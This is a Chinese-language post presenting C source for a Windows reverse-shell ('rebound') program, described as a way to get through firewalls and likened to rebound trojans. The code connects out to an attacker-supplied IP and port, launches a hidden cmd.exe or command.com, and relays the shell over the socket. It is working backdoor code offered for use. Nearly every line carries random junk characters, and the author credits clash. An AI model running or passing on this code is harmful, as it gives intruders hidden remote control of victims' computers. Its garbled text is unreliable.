这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6fw2;$x"
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/* ============================== v4X)R
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Rebound port in Windows NT C.?~D*Q
By wind,2006/7 y3@5~ 4+
===============================*/ 7toDk$jJRg
#include '>#8
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#include /yTPb
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#pragma comment(lib,"wsock32.lib") {*K7P> &
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void OutputShell(); Fz@9
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SOCKET sClient; }<=_&n
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .%+y_.l
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void main(int argc,char **argv) )EIT>u=
{ =nE^zY2m%
WSADATA stWsaData; `-w;/A"MJ
int nRet; V5bB$tL}3
SOCKADDR_IN stSaiClient,stSaiServer; S0!w]Ku
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if(argc != 3) 6=g! Hs{
{ @ 3,:G$,
printf("Useage:\n\rRebound DestIP DestPort\n"); O#x=iZI
return; zx;~sUR;
} Mk!bmFZOZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); L4or*C^3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p|Nh:4iN
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stSaiClient.sin_family = AF_INET; "43F.!P
stSaiClient.sin_port = htons(0); q0VR&b`?>D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )w,<XJhg`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {_~vf
{ :r9<wbr)k0
printf("Bind Socket Failed!\n"); 5+a5pC
return; /n1L},67h
} O9_SVXWVw
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stSaiServer.sin_family = AF_INET; -.l.@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z8cefD9F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |G/WS0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -lm)xpp1
{ "w3%BbI x
printf("Connect Error!"); ^o4](l
return; y+nX(@~f]
} XvVi)`8!u
OutputShell(); UHR%0ae
} U<<XeSp
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void OutputShell() ]Hg6Mz>Mj
{ U'@ ![Fp
char szBuff[1024]; c&C*'c-r
SECURITY_ATTRIBUTES stSecurityAttributes; wU|jw(
OSVERSIONINFO stOsversionInfo; -^q;e]+J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0X5b32
STARTUPINFO stStartupInfo; f4$sH/ 2#v
char *szShell;
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PROCESS_INFORMATION stProcessInformation; d .%2QkL
unsigned long lBytesRead; J vq)%t8q>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nf1O8FwRb
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vIf-TQw
stSecurityAttributes.lpSecurityDescriptor = 0; AG><5 }
stSecurityAttributes.bInheritHandle = TRUE; 6sG5n7E-A
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WtO@Kf:3GH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q]e]\J
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FC
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 29cx(
stStartupInfo.wShowWindow = SW_HIDE; W8F@nY
stStartupInfo.hStdInput = hReadPipe; Xk\IO0GF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EP^qj j@M
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GetVersionEx(&stOsversionInfo); 4U~'Oa@p
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switch(stOsversionInfo.dwPlatformId) ; tQ(l%!
{ "!CVm{7[
case 1: U({N'y=
szShell = "command.com"; X&IT s
break; %a
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default: B):ZX#
szShell = "cmd.exe"; O(VWJ@EHn
break; \;KSx3o
} G|RBwl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kR3wbA
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send(sClient,szMsg,77,0); p3Ozfk
while(1) 2vU-9p {
{ m(o`;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w]nt_xj
if(lBytesRead) x)Zb:"
{ Hpa6;eT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _`gkYu3R+
send(sClient,szBuff,lBytesRead,0); IaQm)"Z
} <VSB!:ew
else #Hz9@H
{ 4_ypFuS ^
lBytesRead=recv(sClient,szBuff,1024,0); :y`LF<
if(lBytesRead<=0) break; %hN(79:g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FPkk\[EU
} ?i V}U
} ,A $IFE
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return; B9[vv;lzu
}